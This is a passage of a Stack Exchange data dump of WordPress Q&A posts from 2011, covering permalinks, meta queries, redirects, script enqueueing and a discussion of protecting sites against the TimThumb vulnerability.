  <row Id="24827" PostTypeId="2" ParentId="24821" CreationDate="2011-08-03T15:57:44.880" Score="2" ViewCount="" Body="&lt;p&gt;You could probably hack something together, but you should probably understand that, in WordPress, a basic assumption (and operating principle) is that &lt;em&gt;static Pages are not chronological&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMHO, a better approach would be to store the content as &lt;em&gt;Blog Posts&lt;/em&gt;, and then to use Categories (or perhaps, a &lt;em&gt;custom taxonomy&lt;/em&gt;) to identify that content, and to display it chronologically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a taxonomy (core or custom) that identifies this content, you can even filter your primary Loop query, so that this content does not output with your &quot;normal&quot; Blog Posts.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-03T15:57:44.880" CommentCount="2" />
  <row Id="24828" PostTypeId="1" CreationDate="2011-08-03T16:07:20.440" Score="0" ViewCount="60" Body="&lt;p&gt;I have some subdomain networks (3.2.1) with the WordPress MU Domain Mapping (0.5.4.1) plugin. I have checked the &quot;Remote login&quot; domain mapping option. (Needed for &lt;a href=&quot;http://wordpress.stackexchange.com/questions/23672/some-users-getting-a-404-when-previewing-draft-posts-pages&quot;&gt;this reason&lt;/a&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I view any of the network sites they load fine, but my browser console shows a 403 error on the domain mapping script tag that gets included in the head tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else run into this problem? I don't get this error on one of my networks with a similar setup, but I do on the other two. Is this a permissions issue? I used the WP network admin to install the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7152" LastActivityDate="2011-08-03T16:07:20.440" Title="Subdomain Network + Domain Mapping Plugin + Remote Login option = 403 error on included script tag" Tags="&lt;errors&gt;&lt;network&gt;&lt;domain-mapping&gt;" />
  <row Id="24829" PostTypeId="1" CreationDate="2011-08-03T16:08:33.373" Score="2" ViewCount="134" Body="&lt;p&gt;Read an article about Timthumb script being compromised making WP installations vulnerable. &lt;a href=&quot;http://www.theinquirer.net/inquirer/news/2099162/wordpress-blogs-risk&quot; rel=&quot;nofollow&quot;&gt;Source here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking a look at timthumb.php, There is the following function, which I presume is the culprit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function checkExternal ($src) {&#xA;&#xA;    $allowedSites = array(&#xA;        'flickr.com',&#xA;        'picasa.com',&#xA;        'blogger.com',&#xA;        'wordpress.com',&#xA;        'img.youtube.com',&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since my site is highly customized (therefore is complicated to update timthumb), would it suffice to delete those external domains as all the images are hosted on my server and hence doesn't require any of the 3rd party domains?&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-08-05T00:06:41.277" Title="Timthumb script being compromised - What precautions to take?" Tags="&lt;timthumb&gt;" AnswerCount="4" CommentCount="1" />
  <row Id="24830" PostTypeId="2" ParentId="16141" CreationDate="2011-08-03T16:12:10.763" Score="0" ViewCount="" Body="&lt;p&gt;For future visitors you need to change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $thumbnail = '';&#xA;    if( $id = has_post_thumbnail( (int)$item-&amp;gt;object_id ) ) {&#xA;  $thumbnail = get_the_post_thumbnail( $id );&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  $thumbnail = '';&#xA;    if ( has_post_thumbnail( $item-&amp;gt;object_id ) ) {&#xA;  $thumbnail = get_the_post_thumbnail( $item-&amp;gt;object_id );&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the right answer was posted here: &lt;a href=&quot;http://stackoverflow.com/questions/5893036/how-to-return-page-id-in-custom-walker&quot;&gt;http://stackoverflow.com/questions/5893036/how-to-return-page-id-in-custom-walker&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3855" LastActivityDate="2011-08-03T16:12:10.763" />
  <row Id="24831" PostTypeId="2" ParentId="24829" CreationDate="2011-08-03T16:25:54.700" Score="6" ViewCount="" Body="&lt;p&gt;Best way: Remove the timthumb script from your server and change your theme so as to not require it in the first place. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Timthumb isn't really necessary with newer versions of WordPress. The add_image_size() function can be used to create custom image sizes in the theme. And most older themes I've seen still using it were using it to create a &quot;thumbnail&quot; type of functionality, which is now built into WordPress itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing TimThumb really does that WordPress makes hard is the custom cropping, where you can crop images to one side or another instead of doing a middle based crop method. And most themes aren't using this functionality.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-03T16:25:54.700" />
  <row Id="24832" PostTypeId="2" ParentId="24829" CreationDate="2011-08-03T17:19:13.093" Score="1" ViewCount="" Body="&lt;p&gt;I agree with Otto that is would be much better to use &lt;code&gt;the_post_thumbnail&lt;/code&gt; and &lt;code&gt;add_image_size&lt;/code&gt; but one other thing that timthumb does is crop images on the fly so on an older site with thousands of images you would have to use &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;&#xA;Regenerate Thumbnails&lt;/a&gt; to re-crop which would be quite a task especially on shared hosting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to removing the allowed sites array make sure your server / hosting is configured not to need 777 permissions on the cache folder which I'm sure works with suPHP but does work with DSO chowed to nobody:nobody or www-data:www-data.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-08-03T17:19:13.093" CommentCount="1" />
  <row Id="24833" PostTypeId="2" ParentId="24829" CreationDate="2011-08-03T17:35:59.070" Score="0" ViewCount="" Body="&lt;p&gt;The original source for this (link withheld) provided no actual attack vector. Meaning the code you showed above was altered somehow to fetch a remote .php file using &lt;code&gt;$allowedSites&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How that was accomplished is still a mystery since articles like these don't really go through the proper advisory's nor get any peer feedback, and they seem to have no idea how someone wrote a malicious url (like fetchbadphpfile.com) into timthumb.php ( or any other file for that matter).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though this is bad coding on the part of timthumb for not validating urls ( or whatever) is still requires a hack either through another security problem or most likely a malicious pre-injected script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ps. On a side note timthumb.php did actually have a documented XSS attack vector a few versions ago that went through several security advisories and got practically no attention...&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-03T17:35:59.070" CommentCount="2" />
  <row Id="24834" PostTypeId="2" ParentId="24684" CreationDate="2011-08-03T17:43:38.933" Score="0" ViewCount="" Body="&lt;p&gt;Hmm, given that it's okay to send the visitor to an entirely different site, but you are trying to get it to show up as a page, I would suggest adding it to a menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are probably already aware, but when you are modifying menus (Appearance &gt; Menus) there is a box on the left side called &quot;Custom Links,&quot; which just like they sound, allow you to add something directly to the menu that can go anywhere. Add an entry using this that goes to the Tumblr blog and use that menu (whether it be primary or secondary) wherever you need to display the pages AND the Tumblr link. This avoids &lt;code&gt;.htaccess&lt;/code&gt; conflicts and is the &quot;natural&quot; way to do things, but does restrict it to only being in menus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might be missing something here on how Tumblr recognizes the URL and the DNS issues, but from the WordPress side of things, that's how I would go about it.&lt;/p&gt;&#xA;" OwnerUserId="7105" LastActivityDate="2011-08-03T17:43:38.933" />
  <row Id="24835" PostTypeId="1" CreationDate="2011-08-03T17:50:29.630" Score="0" ViewCount="29" Body="&lt;p&gt;With a permalink structure like &lt;code&gt;/%post_id%/%postname%/&lt;/code&gt;, you can offer shorter shortlinks (structured &lt;code&gt;/%post_id%&lt;/code&gt;) with a few extra lines in your theme's &lt;code&gt;functions.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('pre_get_shortlink', 'custom_pre_get_shortlink', 10, 4);&#xA;function custom_pre_get_shortlink($foo, $p, $context, $bar) {&#xA;  global $wp_query;&#xA;  if($p or ($context == 'query' and $p = $wp_query-&amp;gt;get_queried_object_id())) {&#xA;    return home_url('/' . $p);&#xA;  }&#xA;return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, how can I make sure visitors are always redirected to the canonical URL? Currently with this setup and as of WP 3.2.1, when you point your browser to, for instance, &lt;a href=&quot;http://example.com/123&quot; rel=&quot;nofollow&quot;&gt;http://example.com/123&lt;/a&gt; you end up at &lt;a href=&quot;http://example.com/123/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/123/&lt;/a&gt; (probably because &lt;code&gt;use_trailing_slashes&lt;/code&gt; is set to true) instead of &lt;a href=&quot;http://example.com/123/great-posting/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/123/great-posting/&lt;/a&gt;. Even going to &lt;a href=&quot;http://example.com/123greatposting/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/123greatposting/&lt;/a&gt; works (it's a proper HTTP 200); I'd prefer either a 301 to the canonical URL or a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="6254" LastActivityDate="2011-08-03T17:50:29.630" Title="how to always redirect to the canonical URL?" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;redirect&gt;&lt;permalink&gt;&lt;http-301&gt;" FavoriteCount="1" />
  <row Id="24836" PostTypeId="2" ParentId="23813" CreationDate="2011-08-03T18:01:38.267" Score="0" ViewCount="" Body="&lt;p&gt;In order to do this you'll have to manually change the user-new.php page. It's not the correct way to handle it but if you're in desperate need this is how it's done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr class=&quot;form-field&quot;&amp;gt;&#xA;    &amp;lt;th scope=&quot;row&quot;&amp;gt;&amp;lt;label for=&quot;company_name&quot;&amp;gt;&amp;lt;?php _e('Company Name') ?&amp;gt; &amp;lt;/label&amp;gt;&amp;lt;/th&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;input name=&quot;company_name&quot; type=&quot;text&quot; id=&quot;company_name&quot; value=&quot;&amp;lt;?php echo esc_attr($new_user_companyname); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also added the information to functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   function my_custom_userfields( $contactmethods ) {&#xA;    $contactmethods['company_name']             = 'Company Name';&#xA;    return $contactmethods;&#xA;   }&#xA;   add_filter('user_contactmethods','my_custom_userfields',10,1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastActivityDate="2011-08-03T18:01:38.267" />
  <row Id="24837" PostTypeId="1" CreationDate="2011-08-03T18:18:18.480" Score="1" ViewCount="58" Body="&lt;p&gt;Is it possible to do the following with Wordpress (without hacking too much code - I would like to make this a general plugin using simple hooks)?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Log in with the username/password.&lt;/li&gt;&#xA;&lt;li&gt;If username/password correct then have another authentication step (a token or a question).&lt;/li&gt;&#xA;&lt;li&gt;If token is also correct, then give user access.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For those of you that have bank accounts with Bank of America, this is very similar to their &quot;sitekey&quot; login system. If anyone has any tips or plugin examples, don't hesitate to link them. Thank you!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is virtually identical to the following question: &lt;a href=&quot;http://wordpress.org/support/topic/two-step-authentication-login-needed&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/two-step-authentication-login-needed&lt;/a&gt; on the official forums.&lt;/p&gt;&#xA;" OwnerUserId="7595" LastActivityDate="2011-09-03T09:40:51.460" Title="Two-step login process - Is it possible?" Tags="&lt;plugin-development&gt;&lt;php&gt;&lt;hooks&gt;&lt;login&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="24838" PostTypeId="1" AcceptedAnswerId="24839" CreationDate="2011-08-03T18:28:04.063" Score="0" ViewCount="21" Body="&lt;p&gt;I'm working on a site that is using &lt;a href=&quot;http://codex.wordpress.org/Designing_Headers#Rotating_Header_Images&quot; rel=&quot;nofollow&quot;&gt;this PHP script&lt;/a&gt; to load a random header image every time it reloads. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use Javascript instead to allow the browser to cache images and improve load times and was wondering if there's any benefit to using the PHP script over some JS script for this scenario.&lt;/p&gt;&#xA;" OwnerUserId="7366" LastActivityDate="2011-08-03T19:30:34.520" Title="PHP or JS for header image rotator?" Tags="&lt;javascript&gt;&lt;image&gt;&lt;header&gt;" AnswerCount="2" />
  <row Id="24839" PostTypeId="2" ParentId="24838" CreationDate="2011-08-03T18:45:36.740" Score="0" ViewCount="" Body="&lt;p&gt;Using PHP sends less code to the end user. (a single img tag instead of all the javascript logic). If you enable browser caching settings correctly (try &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt;), once the end user has &quot;seen&quot; all the images, those will all be in their cache, so on the &quot;long tail&quot; JavaScript vs. PHP solution is equivalent.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-03T18:45:36.740" CommentCount="1" />
  <row Id="24841" PostTypeId="1" AcceptedAnswerId="24884" CreationDate="2011-08-03T19:18:12.767" Score="1" ViewCount="23" Body="&lt;p&gt;I have a client who's site is built using WordPress.  The account is using cPanel with webmail accessible at domain.com/webmail.  They have 2 email accounts setup (user1@domain.com and user2@domain.com).  I would love to be able have them access their webmail by logging into their WordPress site and clicking a menu link saying &quot;Access Webmail&quot; and then either pulling the cPanel webmail into an iframe, or some other method, but would ideally like to either sync or pre-populate the webmail info with their WordPress user info (email addy and password).  I have searched for a plugin but haven't found anything.  Anybody ever done this?  Where would I begin?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2011-08-04T03:31:55.623" Title="Sync User to cPanel webmail?" Tags="&lt;plugins&gt;&lt;admin&gt;&lt;email&gt;&lt;dashboard&gt;" AnswerCount="1" />
  <row Id="24842" PostTypeId="2" ParentId="24810" CreationDate="2011-08-03T19:20:25.843" Score="0" ViewCount="" Body="&lt;p&gt;I believe it's because you're using a frame. The url is changing within the frame itself but it can't reflect it to the base site. You'll have to remove the frame from the site in order to have the url change for you. In fact, I really don't see why you have a frame anyway because if I right click (using FF) and select view only this frame...the site works exactly the same and the URL changes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless I'm missing something, I believe that's your fix. Let me know how it goes. &lt;/p&gt;&#xA;" OwnerUserId="7556" LastActivityDate="2011-08-03T19:20:25.843" CommentCount="2" />
  <row Id="24843" PostTypeId="2" ParentId="24773" CreationDate="2011-08-03T19:25:08.367" Score="0" ViewCount="" Body="&lt;p&gt;If you're talking about the top bar that shows up with quicklinks for the admin, you can also disable it per user when you setup their profiles. It's just a checkbox in the admin under the profile. Hope that helps some. &lt;/p&gt;&#xA;" OwnerUserId="7556" LastActivityDate="2011-08-03T19:25:08.367" />
  <row Id="24844" PostTypeId="2" ParentId="24838" CreationDate="2011-08-03T19:30:34.520" Score="0" ViewCount="" Body="&lt;p&gt;An &lt;em&gt;idiot&lt;/em&gt;, but working solution would be to add a hidden div with the lowest min. size and pre-load the images there. That'd cache it without any high-tech super-scripts.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-03T19:30:34.520" />
  <row Id="24845" PostTypeId="2" ParentId="24837" CreationDate="2011-08-03T19:49:27.717" Score="0" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_redirect&quot; rel=&quot;nofollow&quot;&gt;wp_redirect()&lt;/a&gt;. Don't forget to &lt;code&gt;exit;&lt;/code&gt; after that. Else you'd loop endlessly.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-03T19:49:27.717" CommentCount="1" />
  <row Id="24846" PostTypeId="1" AcceptedAnswerId="24967" CreationDate="2011-08-03T20:01:50.637" Score="0" ViewCount="42" Body="&lt;p&gt;The following function works perfectly when logged-in visitors go to &lt;a href=&quot;http://sitename.com&quot; rel=&quot;nofollow&quot;&gt;http://sitename.com&lt;/a&gt;, taking them to the site homepage. When logged-in visitors go to &lt;a href=&quot;http://www.sitename.com&quot; rel=&quot;nofollow&quot;&gt;http://www.sitename.com&lt;/a&gt;, however, they're incorrectly redirected to &lt;a href=&quot;http://sitename.com/splashpage&quot; rel=&quot;nofollow&quot;&gt;http://sitename.com/splashpage&lt;/a&gt;. Does anyone know what's causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried switching my site settings to use &lt;a href=&quot;http://www.sitename.com&quot; rel=&quot;nofollow&quot;&gt;http://www.sitename.com&lt;/a&gt; as the WordPress and Site Address URLs, but that simply reverses the issue so it incorrectly redirects when a logged-in user goes to &lt;a href=&quot;http://sitename.com&quot; rel=&quot;nofollow&quot;&gt;http://sitename.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// REDIRECT USERS TO SPLASH PAGE IF THEY'RE NOT LOGGED IN&#xA;add_action ('template_redirect','mkm_restrict_access',1);&#xA;function mkm_restrict_access() {&#xA;    $url = site_url('/splashpage/');&#xA;    if (is_page('splashpage') || is_page('login')) {&#xA;        //do nothing&#xA;    } elseif (!is_user_logged_in()) {&#xA;        wp_redirect( $url ); &#xA;        exit; &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help!&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="16" LastEditorDisplayName="" LastEditDate="2011-08-04T16:37:04.260" LastActivityDate="2011-08-17T18:25:03.223" Title="wp_redirect not working when going to www version of site" Tags="&lt;wp-redirect&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24847" PostTypeId="1" AcceptedAnswerId="26515" CreationDate="2011-08-03T20:10:59.943" Score="2" ViewCount="53" Body="&lt;p&gt;I'm working on a custom data table to display in the WordPress dashboard. The table populates from a database table I built in a plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been using the provided WordPress Custom List Table example for most of my coding questions in this area, but the example doesn't have anything for handling bulk actions. Here is the link for the documented example: &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-list-table-example/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-list-table-example/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For processing the bulk actions, the example only provides this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    function process_bulk_action() {&#xA;&#xA;    //Detect when a bulk action is being triggered...&#xA;    if( 'delete'===$this-&amp;gt;current_action() ) {&#xA;&#xA;        wp_die('Items deleted!');&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to know how to pull the items selected for the action so I can delete them or edit their database entries accordingly.&lt;/p&gt;&#xA;" OwnerUserId="7594" LastActivityDate="2011-08-22T01:38:44.080" Title="How are bulk actions handled in custom list table classes?" Tags="&lt;plugin-development&gt;&lt;wp-list-table&gt;" AnswerCount="1" />
  <row Id="24848" PostTypeId="1" AcceptedAnswerId="24850" CreationDate="2011-08-03T20:42:37.753" Score="0" ViewCount="38" Body="&lt;p&gt;I'm looking for a way to only show posts results that contain all of the custom fields requested. Not one or the other. I was only able to get results with one array at a time. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        $documents = array(&#xA;        'post_type' =&amp;gt; 'documents',&#xA;        'meta_query' =&amp;gt; array(&#xA;            array(&#xA;                'key' =&amp;gt; 'document-type',&#xA;                'value' =&amp;gt; 'manual',&#xA;            ),&#xA;            array(&#xA;                'key' =&amp;gt; 'document-status',&#xA;                'value' =&amp;gt; 'current',&#xA;            )&#xA;        )&#xA;     );&#xA;        query_posts( $documents );&#xA;        get_template_part( 'loop', 'documents' );&#xA;        wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried an SQL Query without any luck.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         $documents = &quot;&#xA;            SELECT wposts.*&#xA;            FROM $wpdb-&amp;gt;posts wposts&#xA;            JOIN $wpdb-&amp;gt;postmeta document-status ON&#xA;              ( wposts.ID = document-status.post_id AND&#xA;                document-status.meta_key = 'document-status' )&#xA;            JOIN $wpdb-&amp;gt;postmeta document-type ON &#xA;              ( wposts.ID = document-type.post_id AND&#xA;                document-type.meta_key = 'document-type' )&#xA;            WHERE document-status.meta_value = 'current'&#xA;            AND document-type.meta_value = 'manual'&#xA;            AND wposts.post_status = 'publish'&#xA;            AND wposts.post_type = 'documents'&#xA;            AND wposts.post_date &amp;lt; NOW()&#xA;            ORDER BY wposts.post_date DESC&#xA;            LIMIT 0 , 4&#xA;         &quot;; &#xA;         $documents = $wpdb-&amp;gt;get_results($documents, OBJECT);&#xA;        query_posts( $documents );&#xA;        get_template_part( 'loop', 'documents' );&#xA;        wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3296" LastEditorUserId="3296" LastEditorDisplayName="" LastEditDate="2011-08-03T20:56:05.543" LastActivityDate="2011-08-03T21:00:58.020" Title="Query post types with multiple keys" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;query-posts&gt;&lt;multiple&gt;" AnswerCount="1" />
  <row Id="24849" PostTypeId="2" ParentId="23789" CreationDate="2011-08-03T20:57:19.317" Score="-3" ViewCount="" Body="&lt;p&gt;please checkout this link : &lt;a href=&quot;http://www.lineshjose.com/how-to-exclude-pages-from-wordpress-search-results.html&quot; rel=&quot;nofollow&quot;&gt;http://www.lineshjose.com/how-to-exclude-pages-from-wordpress-search-results.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7597" LastActivityDate="2011-08-03T20:57:19.317" CommentCount="1" />
  <row Id="24850" PostTypeId="2" ParentId="24848" CreationDate="2011-08-03T21:00:58.020" Score="2" ViewCount="" Body="&lt;p&gt;&lt;code&gt;meta_query&lt;/code&gt; has a &lt;code&gt;relation&lt;/code&gt; parameter just like &lt;code&gt;tax_query&lt;/code&gt; so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$documents = array(&#xA;    'post_type' =&amp;gt; 'documents',&#xA;    'meta_query' =&amp;gt; array(&#xA;    'relation' =&amp;gt; 'AND',&#xA;        array(&#xA;            'key' =&amp;gt; 'document-type',&#xA;            'value' =&amp;gt; 'manual',&#xA;        ),&#xA;       array(&#xA;            'key' =&amp;gt; 'document-status',&#xA;            'value' =&amp;gt; 'current',&#xA;        )&#xA;    )&#xA;);&#xA;query_posts( $documents );&#xA;get_template_part( 'loop', 'documents' );&#xA;wp_reset_query();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-03T21:00:58.020" CommentCount="0" />
  <row Id="24851" PostTypeId="1" CreationDate="2011-08-03T21:11:23.340" Score="0" ViewCount="50" Body="&lt;p&gt;Is there a way to use wp_enqueue_script() for inline scripts? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing this because my inline script depends on another script and i would like the flexibility of inserting it after it's loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, It's an inline script because i'm passing php variables into the javascript (like theme path, etc)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5149" LastEditorUserId="5149" LastEditorDisplayName="" LastEditDate="2011-08-03T22:56:30.907" LastActivityDate="2011-08-03T23:02:08.763" Title="wp enqueue inline script due to dependancies" Tags="&lt;wp-enqueue-script&gt;" AnswerCount="3" />
  <row Id="24852" PostTypeId="1" CreationDate="2011-08-03T21:25:53.847" Score="0" ViewCount="31" Body="&lt;p&gt;I don't see any way of testing which template file is being loaded, if the template file is not a page template. Otherwise I would use is_page_template().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, I am using a home.php template file to pull in the content from multiple pages(don't ask), how would I check that home.php is the template file being used when viewing the sites root url?&lt;/p&gt;&#xA;" OwnerUserId="6645" LastActivityDate="2011-08-03T21:53:30.610" Title="Is there a way to check which template file is being loaded, if it is not a page template file?" Tags="&lt;template&gt;&lt;conditional-tags&gt;" AnswerCount="2" />
  <row Id="24853" PostTypeId="2" ParentId="24851" CreationDate="2011-08-03T21:27:01.217" Score="-1" ViewCount="" Body="&lt;p&gt;I believe you could put your inline scripts into a inline-scripts.js file within your theme, then call that via wp_enqueue_script. Would that work for your needs? Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-03T21:27:01.217" CommentCount="1" />
  <row Id="24854" PostTypeId="1" CreationDate="2011-08-03T21:32:21.627" Score="1" ViewCount="15" Body="&lt;p&gt;Many of you will recognise this code. I've been battling with it for days. I've made some progress as the delete all feature of the form works, but there are still some outstanding issues, namely:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The first domain added will display a blank value in the table&lt;/li&gt;&#xA;&lt;li&gt;I can select individual rows to delete, but I can't get this to update the setting in the database properly and the form breaks&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Sorry for the general question, but I'm need of a some general advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the latest code: &lt;a href=&quot;http://pastebin.com/DLAPxEL9&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/DLAPxEL9&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-08-03T21:32:21.627" Title="How can I make this admin form add and delete properly with the Settings API?" Tags="&lt;forms&gt;&lt;admin-menu&gt;&lt;settings-api&gt;&lt;user-interface&gt;" CommentCount="2" FavoriteCount="1" />
  <row Id="24855" PostTypeId="2" ParentId="14002" CreationDate="2011-08-03T21:34:50.883" Score="0" ViewCount="" Body="&lt;p&gt;Do you mean you want to display the calendar on a sub page? If so you can use this shortcode on the page where you want it to display:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[events-calendar-large] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let us know if this isn't what you meant. Best of luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-03T21:34:50.883" />
  <row Id="24856" PostTypeId="2" ParentId="24852" CreationDate="2011-08-03T21:53:01.953" Score="1" ViewCount="" Body="&lt;p&gt;Just type in some text like &quot;Debug&quot; into the non-Php area of home.php (the part not surrouded by ) and see if it appears. If so, you know that home.php is being used.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-03T21:53:01.953" />
  <row Id="24857" PostTypeId="2" ParentId="24852" CreationDate="2011-08-03T21:53:30.610" Score="0" ViewCount="" Body="&lt;p&gt;I do not think this is common practice or that WP tracks such either. &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags&quot; rel=&quot;nofollow&quot;&gt;Conditional Tags&lt;/a&gt; are very flexible and usually sufficient to build conditional logic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really need this I'd look into &lt;a href=&quot;http://php.net/manual/en/language.constants.predefined.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;__FILE__&lt;/code&gt;&lt;/a&gt; constant and &lt;a href=&quot;http://www.php.net/manual/en/function.debug-backtrace.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;debug_backtrace()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-03T21:53:30.610" />
  <row Id="24858" PostTypeId="1" AcceptedAnswerId="24861" CreationDate="2011-08-03T21:55:30.437" Score="0" ViewCount="31" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/users/2487/bainternet&quot;&gt;Bainternet&lt;/a&gt; assisted me &lt;a href=&quot;http://wordpress.stackexchange.com/questions/24848/query-post-types-with-multiple-keys/24850#24850&quot;&gt;earler&lt;/a&gt; with the relation AND parameter. What I need to do now is determine how to query multiple vales from a single key. If I try to specify two arrays with the &lt;strong&gt;same key&lt;/strong&gt; the query fails. Is there a way to use an array in the value?Something similar to.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'value' =&amp;gt; array( 'Install Manual', 'User Manual' ),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've searched quite a bit with no results. This is where I'm at so far.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$documents = array(&#xA;    'post_type' =&amp;gt; 'documents',&#xA;    'meta_query' =&amp;gt; array(&#xA;    'relation' =&amp;gt; 'AND',&#xA;        array(&#xA;            'key' =&amp;gt; 'document-type',&#xA;            'value' =&amp;gt; array( 'Install Manual', 'User Manual' ),&#xA;        